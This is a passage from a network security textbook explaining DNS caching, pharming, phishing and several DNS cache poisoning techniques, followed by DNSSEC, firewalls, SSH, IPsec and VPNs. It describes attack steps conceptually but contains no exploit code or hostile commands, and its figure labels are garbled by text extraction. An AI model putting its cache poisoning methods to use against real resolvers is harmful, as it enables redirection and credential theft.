Caching changes how DNS resolution works. Instead of directly query-
ing each time a root name server, the designated name server first checks
its cache and returns to the client the requested IP if a record is found. If
not, the designated name server queries the root name server and resolves
the domain name as described above, caching the result as it is returned to
the client. A value known as the time-to-live (TTL) determines how long a
DNS response record remains in a DNS cache. This value is specified in the
DNS response, but administrators can configure local settings that override
the provided TTL values. Once a cached record has expired, the query
process resorts back to asking a higher-level name server for a response.

Some operating systems maintain a local DNS cache on the machine.
If a valid record is found for the desired domain, then this record is used
and no DNS queries are issued. The details of DNS caching depend on the
chosen operating system and application. For example, Windows features
its own DNS cache, while many Linux distributions do not. They opt
to query predetermined name servers for each resolution instead. The
DNS cache on a Windows system can be viewed by issuing the command
ipconfig /displaydns at a command prompt. In general, web browsers are
responsible for extracting a user-supplied domain name and passing it to
the operating system’s networking component, which handles the sending
of a corresponding DNS request. The reply will then be received by the
operating system and passed back to the browser. At this stage, if the oper-
ating system has its own DNS cache, it stores the DNS reply information in
the cache before passing it back to the application. DNS caches maintained
by operating systems have privacy implications for users. Namely, even
if the user deletes the browsing history and cookies, the DNS cache will
preserve evidence of recently visited sites, which could be unveiled by
forensic investigation.
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In addition, several cross-platform browsers, including Firefox, support
their own DNS caches. However, Internet Explorer, which is intended to
run on Windows, does not implement this feature because Windows has its
own cache.

Another challenge in the resolution of domain names is the possi-
bility of infinite loops. Suppose in the example above, the .com name
server replied indicating that the authoritative name server for the ex-
ample.com domain is ns1.example.com. DNS responses that delegate to
other name servers identify these name servers by name, rather than by
IP address, so an additional DNS request is required to resolve the IP
address of ns1.example.com. However, because the name server is both
a subdomain of example.com and its authoritative name server, there is
a circular dependency that cannot be resolved. In order to resolve exam-
ple.com, ns1.example.com must be resolved first, but in order to resolve
ns1.example.com, example.com must first be resolved. To break these
loops, responses include glue records that provide enough information to
prevent these dependencies. In this example, the .com name server would
include a glue record resolving ns1.example.com to its IP address, giving
the client enough information to continue.

One can experiment with DNS resolution with the help of several
command-line tools. On Windows, nslookup can be used at a command
prompt to issue DNS requests. On Linux, users may use either nslookup or
dig, as depicted in Figure 4.

cslab % dig @4.2.2.2 www.example.com

; <<>> DiG 9.6-ESV-R1 <<>> @4.2.2.2 www.example.com

; (1 server found)

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29228

;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;www.example.com. IN A

;; ANSWER SECTION:

www.example.com. 43200 IN A 192.0.32.10

;; Query time: 88 msec

;; SERVER: 4.2.2.2#53(4.2.2.2)

;; WHEN: Thu Jul 15 01:17:47 2010

;; MSG SIZE rcvd: 49

Figure 4: Using the dig tool to issue a DNS query for domain
www.example.com to the root name server at IP address 4.2.2.2.
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1.3 DNS Attacks

By relying on DNS to resolve domain names to IP addresses, we place a
large degree of trust in the fact that DNS requests are resolved correctly.
When we navigate to www.example.com, for instance, we expect to be
directed to the IP address actually associated with that domain name.

Pharming and Phishing

Consider, however, what could happen if DNS were somehow subverted
so that an attacker could control how DNS requests resolve. Because DNS
is so central to how domain names are used to navigate the Web, such
a subversion would cause the safety of the Web to be compromised. An
attacker could cause requests for web sites to resolve to false IP addresses
of his own malicious servers, leading the victim to view or download
undesired content, such as malware. Such an attack is known as pharming.

One of the main uses of pharming is to resolve a domain name to a web
site that appears identical to the requested site, but is instead designed for
a malicious intent. Such an attack is known as phishing and it can be used
to try to grab usernames and passwords, credit card numbers, and other
personal information. (See Figure 5.)

Normal 
74.208.31.63

Pharming
208.77.188.166

www example com

DNS Pharming
attack

http://www.example.com

www.example.com
www.example.com

http://www.example.com

My Premium Blog Spot
My Premium Blog Spot

userID:
userID:

password:
password:

Phishing: the different web sites look the same.

Figure 5: A pharming attack that maps a domain name to a malicious
server, which then performs a phishing attack by delivering a web page that
looks the same as the real one, to trick people into entering their userIDs
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Other Pharming Attacks

Victims of a combined pharming and phishing attack would have no way of
distinguishing between the fake and real sites, since all of the information
conveyed by the browser indicates that they are visiting a trusted web site.
There are other types of pharming attacks, as well.

For instance, email relies on specialized DNS entries known as MX
records, so another possible pharming attack allows an attacker to redirect
mail intended for certain domains to a malicious server that steals infor-
mation. Given that many online services allow password recovery through
email, this could be a means of performing identity theft.

Other pharming attacks might associate the domain name used for
operating system updates with a malicious IP address, causing victims to
automatically download and execute malicious code instead of a needed
software patch. In fact, the possibilities of damage from pharming attacks
are nearly endless because of the large degree of trust placed on the truth-
fulness of domain-name resolutions. Thus, DNS compromises can have
dire consequences for Internet users.

DNS Cache Poisoning

Some DNS attacks are made possible by a technique known as DNS cache
poisoning. In this technique, an attacker attempts to trick a DNS server into
caching a false DNS record, which will then cause all downstream clients
issuing DNS requests to that server to resolve domains to attacker-supplied
IP addresses. Consider the following DNS cache poisoning scenario:

1. An attacker, Eve, has decided to launch a DNS cache poisoning attack
against an ISP DNS server. She rapidly transmits DNS queries to this
server, which in turn queries an authoritative name server on behalf
of Eve.

2. Eve simultaneously sends a DNS response to her own query, spoofing
the source IP address as originating at the authoritative name server,
with the destination IP set to the ISP DNS server target.

3. The ISP server accepts Eve’s forged response and caches a DNS entry
associating the domain Eve requested with the malicious IP address
Eve provided in her forged responses. At this point, any downstream
users of that ISP will be directed to Eve’s malicious web site when
they issue DNS requests to resolve the domain name targeted by Eve.

There are several obstacles an attacker like Eve must overcome to issue
a fake DNS response that will be accepted. First, an attacker must issue
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a response to her own DNS query before the authoritative name server
is given a chance to respond. This obstacle is easily overcome, however,
because if the attacker forces the target name server to query external
authoritative name servers, she can expect that her immediate, direct re-
sponse will be received before these external name servers have a chance
to perform a lookup and issue a reply. Second, each DNS request is given
a 16-bit query ID. If the response to a query is not marked with the same
ID as its corresponding request, it will be ignored. In 2002, it was revealed
that most major DNS software simply used sequential numbers for query
IDs, however, allowing easy prediction and circumvention of this naive
authentication. (See Figure 6.) Once this bug was disclosed, most DNS
software vendors began to implement randomization of query IDs.

DNS R tEvil Client
ISP DNS Server

DNS Request
Where is 

www example com?

DNS Request
Where is 

www.example.com?
Query ID = x

Evil Client
DNS 

Lookup(a)
www.example.com?

DNS cache

… …

Evil Client
ISP DNS Server

DNS Reply
www.example.com 

is 1.1.1.1

Evil Client
DNS Reply

www.example.com is 
2.2.2.2

DNS 
Lookup(b)

Query ID = x Query ID = x

DNS cache

www.example.com 1.1.1.1

… …

DNS 
RequestVictim Client

ISP DNS Server

Request
Where is 

www.example.com?
(c)

DNS Reply
www.example.com 

is 1.1.1.1

DNS cache

www.example.com 1.1.1.1

… …

Figure 6: A DNS cache poisoning attack: (a) First, the attacker sends a DNS
request for the domain he wishes to poison. The ISP DNS server checks its
cache and queries root name servers for the domain. (b) The attacker sends
a corresponding reply for his own request, guessing the transaction ID. If
he successfully guesses the random query ID chosen by the ISP DNS server,
the response will be cached. (c) Any clients of the ISP DNS server issuing
DNS requests for the poisoned domain will be redirected to the attacker’s
IP address.
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DNS Cache Poisoning and the Birthday Paradox

Unfortunately, randomization of transaction IDs does not completely solve
the problem of DNS cache poisoning. If an attacker can successfully guess
the ID associated with an outbound DNS request and issue a response
with the same ID, the scenario above would still be possible, as depicted
in Figure 6. This guessing is actually more likely if the attacker issues a
lot of fake requests and responses to the same domain name lookup.

This increase in attack success probability from an increase in fake
requests is a result of a principle known as the birthday paradox, which
states that the probability of two or more people in a group of 23 sharing the
same birthday is greater than 50%. This intuitively surprising result is due
to the fact that in a group of 23 people, there are actually 23 · 22/2 = 253
pairs of birthdays, and it only takes one matching pair for the birthday
paradox to hold.

Let us apply the reasoning of the birthday paradox to DNS cache
poisoning. An attacker issuing a fake response will guess a transaction ID
equal to one of n different 16-bit real IDs with probability n/216; hence,
she would fail to match one with probability 1 − n/216. Thus, an attacker
issuing n fake responses will fail to guess a transaction ID equal to one of n
different 16-bit real IDs with probability(

1− n
216

)n
.

By issuing at least n = 213 requests and an equal number of random fake
responses, an attacker will have roughly at least a 50% chance that one of

ISP DNS Server
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n DNS 
R t

n DNS 
Requests Lookup(a) Requests:
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with n different strings:
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Replies:
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Replies:(b) Lookup
Replies:

www.example.com
is 1.1.1.1

Query ID = y

Replies:
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is 2.2.2.2
Query ID = xy

Figure 7: A DNS cache poisoning attack based on the birthday paradox:
(a) First, an attacker sends

her random responses will match a real request. (See Figure 7.)

n DNS requests for the domain she wishes to
poison. (b) The attacker sends n corresponding replies for her own request.
If she successfully guesses one of the random query IDs chosen by the ISP
DNS server, the response will be cached.
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Subdomain DNS Cache Poisoning

Despite the birthday paradox, the above guessing attack is extremely lim-
ited because of its narrow time frame. Recall that when a correct response
to a DNS query is received, that result is cached by the receiving server and
stored for the time specified in the time-to-live field. When a name server
has a record in its cache, it uses that record rather than issuing a new query
to an authoritative name server. As a result, the attacker can only make as
many guesses as he can send in the time between the initial request and
the valid reply from the authoritative name server. On each failed guessing
attempt, the valid (harmless) response will be cached by the targeted name
server, so the attacker must wait for that response to expire before trying
again. Responses may be cached for minutes, hours, or even days, so this
slowdown makes the attack described above almost completely infeasible.

Unfortunately, a new subdomain DNS cache poisoning attack was dis-
covered in 2008 that allows attackers to successfully perform DNS cache
poisoning by using two new techniques. Rather than issuing a request
and response for a target domain like example.com, which would only
allow one attempt at a time, the attacker issues many requests, each
for a different nonexistent subdomain of the target domain. For exam-
ple, the attacker might send requests for subdomains aaaa.example.com,
aaab.example.com, aaac.example.com, and so on. These subdomains
don’t actually exist, of course, so the name server for the target domain,
example.com, just ignores these requests. Simultaneously, the attacker
issues responses for each of these requests, each with a guessed transaction
ID. Because the attacker now has so many chances to correctly guess the
response ID and there is no competition from the target domain to worry
about, it is relatively likely that the attack will be successful. This new attack
was shown to be successful against many popular DNS software packages,
including BIND, the most commonly used system.

Using Subdomain Resolution for DNS Cache Poisoning

By itself, this attack accomplishes little—on a successful attempt, the at-
tacker only manages to poison the DNS record for a nonexistent domain.
This is where the second new technique comes into play. Rather than sim-
ply reply with an address for each fake subdomain like abcc.example.com,
the attacker’s responses include a glue record that resolves the name server
of the target domain, example.com, to an attacker-controlled server. Us-
ing this strategy, on successfully guessing the transaction ID the attacker
can control not just one DNS resolution for a nonexistent domain but all
resolutions for the entire target domain.
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Client-Side DNS Cache Poisoning Attacks

In addition to attacks on name servers, a similar DNS cache poisoning
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Web

Victim

(a) Web 
Page
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DNS DNS Lookup
DNS 

Requests

DNS 
Requests

Victim
Evil Website

q

Evil Website

(b)
PoisonedPoisoned 

DNS 
Responses

Figure 8: A DNS cache poisoning attack against a client: (a) On visiting a

attack can be conducted against a target client as depicted in Figure 8.

malicious web site, the victim views a page containing many images, each
causing a separate DNS request to be made to a nonexistent subdomain
of the domain that is to be poisoned. (b) The malicious web server sends
guessed responses to each of these requests. On a successful guess, the
client’s DNS cache will be poisoned.

An attacker can construct a malicious web site containing HTML tags
that automatically issue requests for additional URLs such as image tags.
These image tags each issue a request to a different nonexistent subdomain
of the domain the attacker wishes to poison. When the attacker receives
indication that the victim has navigated to this page, he can rapidly send
DNS replies with poisoned glue records to the client. On a successful attack,
the client will cache the poisoned DNS entry.

This type of attack is especially stealthy, since it can be initiated just
by someone visiting a web site that contains images that trigger the attack.
These images will not be found, of course, but the only warning the user
has that this is causing a DNS cache poisoning attack is that the browser
window may display some icons for missing images.
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Identifying the Risks of Subdomain DNS Cache Poisoning

The subdomain DNS cache poisoning attack does not rely on a vulnerability
in a specific implementation of DNS, which could be problematic in its own
right. Instead, the attack demonstrates two weakness in the DNS protocol
itself:

• Relying on a 16-bit number as the only mechanism for verifying the
authenticity of DNS responses, which is insufficient for security

• Having the response for a nonexisting subdomain request be a nonre-
sponse

As such, this form of DNS cache poisoning is difficult to prevent. It
would be a daunting task to actually fix the underlying vulnerabilities by
forcing the adoption of a new version of DNS, given the critical nature of
DNS in the Internet’s infrastructure. Instead, several stopgap measures
have been put in place to reduce the risk of attack until a more permanent
solution is developed.

Some Defenses Against Subdomain DNS Cache Poisoning

First, most DNS cache poisoning attacks are targeted towards ISP DNS
servers, known as local DNS (LDNS) servers, rather than authoritative
name servers. Prior to more recent cache poisoning attacks, the practice
of leaving LDNS servers openly accessible to the outside world was com-
mon, but since 2008, most LDNS servers have been reconfigured to only
accept requests from within their internal network. This prevents all cache
poisoning attempts originating from outside of an ISP’s network. However,
the possibility of attacking from within the network remains.

To further reduce the chances of a successful attack, many DNS imple-
mentations now incorporate source-port randomization (SPR), the practice
of randomizing the port from which DNS queries originate (and must be
replied to). This decreases the likelihood of successfully generating a false
DNS reply that will be accepted. In addition to the 216 possible query
IDs, the number of possible combinations is multiplied by the number
of possible source ports, which typically numbers around 64,000. While
this additional randomness is an improvement, it has been demonstrated
that DNS cache poisoning is still possible against name servers using both
random query IDs and source-port randomization.
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1.4 DNSSEC

Since the stopgap measures mentioned above are insufficient to completely
mitigate the risk of DNS cache poisoning, a new approach to DNS must
be taken. One possible solution is the adoption of DNSSEC, which is a
set of security extensions to the DNS protocol that prevent attacks such
as cache poisoning by digitally signing all DNS replies using public-key
cryptography. Such signatures make it infeasible for an attacker to spoof a
DNS reply and thereby poison a DNS cache.

One challenge to the widespread implementation of DNSSEC, however,
is that it represents an extension to the DNS protocol itself; hence, in
order to work, DNSSEC must be deployed at both the client and server
ends. At the time of this writing, DNSSEC is being deployed more and
more frequently, but it has yet to be adopted universally. Thus, until it or
something like it is widely adopted, there will still be security risks in the
DNS protocol.

DNSSEC uses several new types of DNS records. When a client issues
a DNS request, the request packet indicates that DNSSEC is supported. If
the queried server also supports DNSSEC, then a resource-record signature
(RRSIG) record is returned alongside any resolved queries. The RRSIG
record contains a digital signature of the returned records computed by
generating a hash of the returned records and encrypting this hash with
the authoritative name server’s private key. In addition to the RRSIG
record, the response to the client contains a DNSKEY record containing
the authoritative name server’s public key. The client can then verify the
authenticity of the returned records by decrypting the digital signature
using the name server’s public key and comparing the hash to a locally
computed hash of the records.

The only step remaining is to establish trust in the name server’s sup-
posed public key. This is essential to the security of the system. Otherwise,
an attacker could simply intercept traffic, sign fake DNS response records
with his own private key, and send his own public key as a DNSKEY record.
To prevent this type of attack, DNSSEC employs a chain of trust. Recalling
that each DNS zone (besides the root zone) has a parent zone, trust can be
established by relying on a hierarchy working back up to the root name
server. To validate a particular zone’s public key, the client requests a
designated signer (DS) record from that zone’s parent, which contains a
hash of the child zone’s public key. In addition to this DS record, the parent
name server returns its own DNSKEY record and another RRSIG record
containing a digitally signed copy of the DS record.
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To perform signature verification, the client uses the parent name
server’s DNSKEY to decrypt the RRSIG record, compares this to the DS
record, and finally compares the DS record to the child name server’s
DNSKEY. This process is repeated until a “trusted key” that the client has
existing knowledge of and does not need to verify is encountered. Ideally,
the root name server would represent this point of trust, but at the time
of this writing, the root name server does not provide DNSSEC. For now,
DNSSEC clients must be configured with other known trust points at levels
below the root name server. (See Figure 9.)

This public key is known to client
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Figure 9: A DNSSEC response and the chain of trust that validates it. In
this case, book.example.com returns a signed DNS response along with
its public key, example.com sends its public key and a signed DS record
validating the public key of book.example.com, and .com sends its public
key and a signed DS record validating the public key of example.com. The
client can trust this chain, since it knows the public key of .com.
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2 Firewalls

It is now an accepted fact that the Internet is a vast network of untrusted
and potentially malicious machines. In order to protect private networks
and individual machines from the dangers of the greater Internet, a firewall
can be employed to filter incoming or outgoing traffic based on a predefined
set of rules that are are called firewall policies.

Firewalls may be used both as a protective measure, to shield internal
network users from malicious attackers on the Internet, or as a means of
censorship. For example, many companies prevent internal users from
using certain protocols or visiting certain web sites by employing firewall
technology. On a much larger scale, some countries, such as China, im-
pose censorship of their citizens by subjecting them to restrictive national
firewall policies that prevent users from visiting certain types of web sites.

Firewalls can be implemented in either hardware or software, and are
typically deployed at the perimeter of an internal network, at the point
where that network connects to the Internet. (See Figure 10.) In this
model of network topography, the Internet is considered an untrusted
zone, the internal network is considered a zone of higher trust, and any
machines, like a firewall, situated between the Internet and the internal
trusted network are in what is known as a demilitarized zone, or DMZ
(borrowing terminology from the military). Incidentally, firewalls are also
commonly implemented in software on personal computers.

T t d i t l t kTrusted internal network

Firewall policies

UntrustedUntrusted
Internet

Figure 10: A firewall uses firewall policies to regulate communication
traffic between the untrusted Internet and a trusted internal network.
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2.1 Firewall Policies

Before examining the specifics of how firewalls are implemented, it is
important to understand the different conceptual approaches to defining
firewall policies for an organization or machine. Packets flowing through a
firewall can have one of three outcomes:

• Accepted: permitted through the firewall

• Dropped: not allowed through with no indication of failure

• Rejected: not allowed through, accompanied by an attempt to inform
the source that the packet was rejected

Policies used by the firewall to handle packets are based on several
properties of the packets being inspected, including the protocol used (such
as TCP or UDP), the source and destination IP addresses, the source and
destination ports, and, in some cases, the application-level payload of the
packet (e.g., whether it contains a virus).

Blacklists and White Lists

There are two fundamental approaches to creating firewall policies (or rule-
sets) to effectively minimize vulnerability to the outside world while main-
taining the desired functionality for the machines in the trusted internal
network (or individual computer). Some network administrators choose a
blacklist approach, or default-allow ruleset. In this configuration, all pack-
ets are allowed through except those that fit the rules defined specifically
in a blacklist. This type of configuration is more flexible in ensuring that
service to the internal network is not disrupted by the firewall, but is naive
from a security perspective in that it assumes the network administrator
can enumerate all of the properties of malicious traffic.

A safer approach to defining a firewall ruleset is to implement a white
list or default-deny policy, in which packets are dropped or rejected unless
they are specifically allowed by the firewall. For example, a network
administrator might decide that the only legitimate traffic entering the
network is HTTP traffic destined for the web server and that all other in-
bound traffic should be dropped. While this configuration requires greater
familiarity with the protocols used by the internal network, it provides the
greatest possible caution in deciding which traffic is acceptable.
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2.2 Stateless and Stateful Firewalls

Firewalls can support policies that are based on properties of each packet
in isolation, or they can consider packets in a broader context.

Stateless Firewalls

One simple implementation of a firewall is known as a stateless firewall.
Such a firewall doesn’t maintain any remembered context (or “state”)

with respect to the packets it is processing. Instead, it treats each packet
attempting to travel through it in isolation without considering packets that
it has processed previously. In particular, stateless firewalls don’t have any
memory dedicated to determining if a given packet is part of an existing
connection. Stateless firewalls simply inspect packets and apply rules based
on the source and destination IP addresses and ports.

While stateless firewalls provide a starting point for managing traffic
flow between two untrusted zones and require little overhead, they lack
flexibility and often require a choice between limited functionality and lax
security. Consider the case of a user on the internal network wishing to
connect via TCP to an external web site. First, the user initiates the connec-
tion by sending a TCP packet marked with the SYN flag set. In  order  for
this packet to be allowed, the firewall must permit outbound packets  orig-
inating at the user’s IP from whichever port the user sends the request.
Next, the web server responds with a packet that has the SYN and ACK 

firewall must allow
inbound packets sent from the web server, presumably originating from

SYNSYN
Seq = x
Port=80

SYN-ACK
Seq = y

Ack = x + 1

Client

ACK
Seq = x + 1
Ack = y + 1

Trusted internal
network

Ack = y + 1

Server

Firewall

Allow outbound SYN packets destination port=80Allow outbound SYN packets, destination port=80 
Allow inbound SYN-ACK packets, source port=80

the appropriate port for web traffic. (See Figure 11.)

Figure 11: A stateless firewall allowing TCP sessions initiating an HTTP
connection (port 80) with a request from the trusted internal network.
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Blocking Undesired Packets

Note that if the above policy were in place, all traffic from a web server
originating at the default port for web servers would be allowed through
the firewall to the user’s machine, which may be undesirable. This policy
can be tightened somewhat by observing that the firewall does not need to
allow TCP packets marked with just the SYN flag to reach the user. (See
Figure 12.) While this restriction would prevent outside parties from
initiating TCP connections to an internal machine, it would not prevent
them from probing the network with other packets not marked with the
SYN flag.

SYN
Seq = y
P t 80

(blocked)Client Attacker
Port=80

Trusted internal
network

FirewallFirewall

Allow outbound SYN packets, destination port=80 
Drop inbound SYN packets,p p ,
Allow inbound SYN-ACK packets, source port=80

Figure 12: A stateless firewall dropping TCP sessions initiating an HTTP
connection with a request from outside the trusted internal network.

Stateful Firewalls

Since stateless firewalls don’t keep track of any previous traffic, they have
no way of knowing whether a particular packet is in response to a previous
packet originating within the network or if it is an unprompted packet.
Stateful firewalls, on the other hand, can tell when packets are part of
legitimate sessions originating within a trusted network. Like NAT devices,
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stateful firewalls maintain tables containing information on each active
connection, including the IP addresses, ports, and sequence numbers of
packets. Using these tables, stateful firewalls can solve the problem of only
allowing inbound TCP packets that are in response to a connection initiat-
ed from within the internal network. Once the initial handshake is com-
plete and allowed through the firewall, all subsequent communication via
that connection will be allowed, until the connection is finally terminated.
(See Figure 13.)
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Figure 13: A statefull firewall configured to allow TCP web sessions (port
80) with a request coming from inside the trusted internal network.

Handling TCP connections is relatively straightforward because both
parties must perform an initial handshake to set up the connection. Han-
dling UDP traffic is not as clear. Most stateful firewalls consider a UDP
“session” (an abstraction that is not reflected in the underlying protocol) to
be started when a legitimate UDP packet is allowed through the firewall.
At this point, all subsequent UDP transmissions between the same two IPs
and ports are allowed, until a specified timeout is reached.

Stateful firewalls allow administrators to apply more restrictive rules
to network traffic and create more effective policies for inbound versus
outbound traffic. However, sometimes it is desirable to be able to man-
age traffic based on the actual contents of packets entering and exiting a
network rather than merely considering the origin and destination. This
is possible through the use of application-layer firewalls. As the name
indicates, these firewalls are capable of examining the data stored at the
application layer of inbound and outbound packets, and apply rules based
on these contents. For example, simple rules might reject all requests for a
particular web site. Most modern firewalls employ some level of higher-
layer filtering, which depends on the properties of an IP packet’s payload,
such as the properties of the headers of TCP and UDP packets. In general,
the practice of examining higher-layer data in network traffic is known as
deep packet inspection. It is frequently used in conjunction with intrusion
detection systems and intrusion prevention systems to make sophisticated
policies delineating acceptable and potentially malicious traffic.
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3 Tunneling

As we have mentioned, one of the challenges of Internet communication
is that it is not secure by default. The contents of TCP packets are not
normally encrypted, so if someone is eavesdropping on a TCP connection,
he can often see the complete contents of the payloads in this session.
One way to prevent such eavesdropping without changing the software
performing the communication is to use a tunneling protocol. In such a
protocol, the communication between a client and server is automatically
encrypted, so that useful eavesdropping is infeasible. To use such a proto-
col, the client and server have to have some way of establishing encryption
and decryption keys, so using a tunneling protocol requires some setup.
Unfortunately, the content of this setup requires the use of application-
layer concepts, such as identity and authorization, in transport-layer or
network-layer protocols. As a result, tunneling technology allows one to
solve some security weaknesses with TCP/IP protocols at the expense of
adding overhead to the IP protocol stack. Nevertheless, tunneling is now
a widely used technology, since it allows users to communicate securely
across the untrusted Internet. (See Figure 14.)

SServerClient

Tunneling protocolTunneling protocol
(does end-to-end encryption and decryption)

Untrusted
I t tInternetTCP/IP TCP/IP

Payloads are encrypted here

Figure 14: Tunneling protocols provide end-to-end encryption of TCP/IP
communication between a client and a server.
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3.1 Secure Shell (SSH)

In the early days of the Internet, it became clear that the ability to administer
a machine remotely was a powerful capability. Early remote administration
protocols such as telent, FTP, and rlogin allowed administrators to control
machines remotely via a command prompt or shell, but provided no form
of encryption and instead sent data in plaintext. To remedy these insecure
protocols, SSH was created to use symmetric and public-key cryptography
to communicate across the Internet using an encrypted channel.

The security of SSH is based on the combination of the respective
strengths of the encryption, decryption, and key exchange algorithms that
SSH uses. Because of its strong security, the SSH protocol is used for a
variety of tasks in addition to secure remote administration, including file
transfer through the simple Secure Copy Protocol (SCP) or as part of the
more full-featured Secure File-Transfer Protocol (SFTP).

In addition, one of the most common uses of the SSH protocol is for se-
cure tunneling. Because the protocol is designed such that an eavesdropper
cannot deduce the contents of SSH traffic, a tunnel established using SSH
will prevent many attacks based on packet sniffing. To establish an SSH
connection, a client and server go through the following steps:

1. The client connects to the server via a TCP session.
2. The client and server exchange information on administrative details,

such as supported encryption methods and their protocol version,
each choosing a set of protocols that the other supports.

3. The client and server initiate a secret-key exchange to establish a
shared secret session key, which is used to encrypt their communi-
cation (but not for authentication). This session key is used in con-
junction with a chosen block cipher (typically AES, 3DES, Blowfish,
or IDEA) to encrypt all further communications.

4. The server sends the client a list of acceptable forms of authentication,
which the client will try in sequence. The most common mechanism is
to use a password or the following public-key authentication method:

(a) If public-key authentication is the selected mechanism, the client
sends the server its public key.

(b) The server then checks if this key is stored in its list of authorized
keys. If so, the server encrypts a challenge using the client’s
public key and sends it to the client.

(c) The client decrypts the challenge with its private key and re-
sponds to the server, proving its identity.

5. Once authentication has been successfully completed, the server lets
the client access appropriate resources, such as a command prompt.
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3.2 IPsec

One of the fundamental shortcomings of the Internet Protocol is a lack of
built-in security measures to ensure the authenticity and privacy of each IP
packet. IP itself has no mechanism for ensuring a particular packet comes
from a trusted source, since IP packets merely contain a “source address”
field that can be spoofed by anyone. In addition, there is no attempt to
encrypt data contained in IP packets to guarantee data privacy. Finally,
while the IP header contains a noncryptographic checksum for verifying
the integrity of the header, there is no attempt to do the same for the
payload. The questions of authentication and privacy are addressed in
several upper-layer protocols, such as DNSSEC (Section 1.4), SSH (Sec-

IPsec consists of several protocols, each addressing different security
needs. Each protocol can operate in one of two modes, transport mode
or tunnel mode. In transport mode, additional IPsec header information
is inserted before the data of the original packet, and only the payload of
the packet is encrypted or authenticated. In contrast, when using tunnel
mode, a new packet is constructed with IPsec header information, and the
entire original packet, including its header, is encapsulated as the payload
of the new packet. Tunnel mode is commonly used to create virtual private
networks (VPNs), which are discussed in Section 3.3.

In order to use IPsec extensions, the two parties communicating must
first set up a set of security associations (SAs), pieces of information that
describe how secure communications are to be conducted between the two
parties. SAs contain encryption keys, information on which algorithms are
to be used, and other parameters related to communication. SAs are uni-
directional, so each party must create an SA for inbound and outbound
traffic. Communicating parties store SAs in a security association database
(SADB). IPsec provides protection for outgoing packets and verifies or
decrypts incoming packets by using a security parameter index (SPI) field
stored in the IPsec packet header, along with the destination or source
IP address, to index into the SADB and perform actions based on the
appropriate SA.
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tion 3.1), and SSL/TLS, but a more powerful solution at the network layer
would guarantee security for all applications. To solve these problems, a pro-
tocol suite known as  was created. IPsec
was created in conjunction with IPv6, but was designed to be backwards-
compatible for use with IPv4. Because it operates at the network layer, IPsec
is completely transparent to applications. Implementing IPsec requires a
modified IP stack, but no changes to network applications are necessary.
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Internet Key Exchange (IKE)

IPsec uses the Internet Key Exchange (IKE) protocol to handle the negotia-
tion of SAs. IKE operates in two stages: first, an initial security association
is established to encrypt subsequent IKE communications, and second, this
encrypted channel is used to define the SAs for the actual IPsec traffic.
To establish the initial SA, a secure-key exchange algorithm is used to
establish a shared secret key between the two parties. Once this encrypted
channel is established, the parties exchange information to define their SAs,
including an encryption algorithm, a hash algorithm, and an authentication
method such as preshared keys. Once these SAs have been created, the two
parties can communicate using IPsec protocols to provide confidentiality,
authentication, and data integrity.

The Authentication Header (AH)

The Authentication Header (AH) protocol is used to authenticate the origin
and guarantee the data integrity of IPsec packets. The AH, shown in
Figure 15, is added to an IPsec packet before the payload, which either
contains the original IP payload or the entire encapsulated IP packet, de-
pending on whether the transport or tunnel mode is used.

IP Header 

Bits 0-7 Bits 8-15 Bits 16-23 Bits 24-31 

Next Header Payload Length (Reserved) 

Security Parameters Index (SPI) 

Sequence Number 

Authentication Data 

Data 

IP Header 

Auth  

Header 

Payload 

Figure 15: The authentication header.
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Components of the Authentication Header

The AH header contains a security parameter index (SPI) used to identify
the security association associated with the packet, a randomly initialized
sequence number to prevent replay attacks, and an “authentication data”
field that contains an integrity check value (ICV). The ICV is computed by
hashing the entire packet, including the IPsec header, with the exception of
fields that may change during routing and the authentication data itself.

The Encapsulating Security Payload (ESP)

Whereas AH provides integrity and origin authentication, it does nothing
to guarantee confidentiality—packets are still unencrypted. To satisfy this
additional security requirement, the encapsulating security payload (ESP)
header, depicted in Figure 16, can be used. While AH places a header
before the payload or original packet, ESP encapsulates its payload by
providing a header and a “trailer.” To provide encryption, ESP uses a
specified block cipher (typically AES, 3DES, or Blowfish) to encrypt either
the entire original IP packet or just its data, depending on whether the
tunnel or transport mode is used. ESP also provides optional authentication
in the form of an “authentication data” field in the ESP trailer. Unlike AH,
ESP authenticates the ESP header and payload, but not the IP header. This
provides slightly weaker security in that it does not protect the IP header
from tampering, but allows NAT devices to successfully rewrite source IP
addresses. However, note that encryption of the payload poses another
problem for NAT. Since TCP port numbers are no longer visible to NAT
devices, some other identifier must be used to maintain the NAT lookup
table.
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The hash is computed by using a message authentication code (MAC), 
an algorithm that acts as a cryptographic hash function but also makes use
of a secret key. The recommended hash function for this MAC is SHA-256.
If a malicious party were to tamper with the packet, then the receiving party
would discover the discrepancy by recomputing the ICV. In addition, since
a secret key is used, only an authenticated party could properly encrypt the
payload, verifying the packet’s origin. AH’s strong authentication comes at
a cost. It does not work in conjunction with Network Address Translation
(NAT), because its IP source address is included among its authenticated
data. Therefore, a NAT device could not successfully rewrite the source IP
address while maintaining the ICV of the packet.
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Figure 16: The ESP header.

3.3 Virtual Private Networking (VPN)

Virtual private networking (VPN) is a technology that allows private net-
works to be safely extended over long physical distances by making use of a
public network, such as the Internet, as a means of transport. VPN provides
guarantees of data confidentiality, integrity, and authentication, despite the
use of an untrusted network for transmission. There are two primary types
of VPNs, remote access VPN and site-to-site VPN.

Remote access VPNs allow authorized clients to access a private net-
work that is referred to as an intranet. For example, an organization may
wish to allow employees access to the company network remotely but make
it appear as though they are local to their system and even the Internet itself.
To accomplish this, the organization sets up a VPN endpoint, known as a
network access server, or NAS. Clients typically install VPN client software
on their machines, which handle negotiating a connection to the NAS and
facilitating communication.

Site-to-site VPN solutions are designed to provide a secure bridge be-
tween two or more physically distant networks. Before VPN, organizations
wishing to safely bridge their private networks purchased expensive leased
lines to directly connect their intranets with cabling. VPN provides the
same security but uses the Internet for communication rather than relying
on a private physical layer. To create a site-to-site VPN connection, both
networks have a separate VPN endpoint, each of which communicates with
the other and transmits traffic appropriately.

VPN itself is not standardized, and many companies provide competing
VPN solutions. However, most VPN implementations make use of a
limited set of protocols to securely transfer data. The details of each of these
protocols is beyond the scope of this book, but nearly all use tunneling and
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encapsulation techniques to protect network traffic. For example, one of the
most widely deployed implementations uses the point-to-point tunneling
protocol (PPTP). PPTP works by establishing a connection using the peer-
to-peer (PPP) link-layer protocol, then encapsulating PPP frames, which
are encrypted using Microsoft Point-to-Point Encryption (MPPE), inside IP
packets that can be sent across the Internet. A newer protocol, the Layer
